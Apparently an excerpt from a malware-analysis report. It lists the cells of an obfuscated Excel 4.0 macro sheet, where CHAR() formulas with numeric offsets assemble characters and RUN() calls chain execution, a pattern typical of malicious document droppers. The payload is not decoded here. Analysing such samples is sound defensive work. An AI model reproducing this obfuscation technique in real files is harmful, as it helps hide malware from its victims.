'  vrgBqhv,DF1821,CHAR(BM469-119),""
'  vrgBqhv,DF1822,RUN(EJ1345),""
'  vrgBqhv,JG1822,"",69.00000000000000000000
'  vrgBqhv,CD1825,"",73.00000000000000000000
'  vrgBqhv,GD1831,RUN(FF425),""
'  vrgBqhv,DY1832,CHAR(HU346-149),""
'  vrgBqhv,EC1833,"",177.00000000000000000000
'  vrgBqhv,FZ1838,"",62.00000000000000000000
'  vrgBqhv,CI1840,RUN(GD1831),""
'  vrgBqhv,IO1848,RUN(D1953),""
'  vrgBqhv,HY1857,RUN(HW479),""
'  vrgBqhv,FP1865,"",7.00000000000000000000
'  vrgBqhv,CS1866,"",171.00000000000000000000
'  vrgBqhv,BQ1871,RUN(DM1926),""
'  vrgBqhv,EX1874,"",79.00000000000000000000
'  vrgBqhv,DD1879,"",58.00000000000000000000
'  vrgBqhv,HU1882,RUN(GZ151),""
'  vrgBqhv,X1883,CHAR(IX469-851),""
'  vrgBqhv,HI1884,"",931.00000000000000000000
'  vrgBqhv,FT1891,CHAR(DK1087-851),""
'  vrgBqhv,IA1905,CHAR(FP720-149),""
'  vrgBqhv,FA1911,CHAR(ES490-851),""
'  vrgBqhv,EL1920,"",88.00000000000000000000
'  vrgBqhv,DM1926,RUN(HC879),""
'  vrgBqhv,S1941,"",37.00000000000000000000
'  vrgBqhv,IJ1942,"",88.00000000000000000000
'  vrgBqhv,DW1950,"",53.00000000000000000000
'  vrgBqhv,D1953,RUN(EM1608),""
'  vrgBqhv,GV1953,"",219.00000000000000000000
'  vrgBqhv,BG1956,"",82.00000000000000000000
'  vrgBqhv,GC1956,RUN(FZ533),""
'  vrgBqhv,W1959,RUN(CL712),""
'  vrgBqhv,HX1994,"",56.00000000000000000000
'  vrgBqhv,FQ1996,RUN(N1540),""

Open this report in the interactive analyzer, or submit your own file for analysis.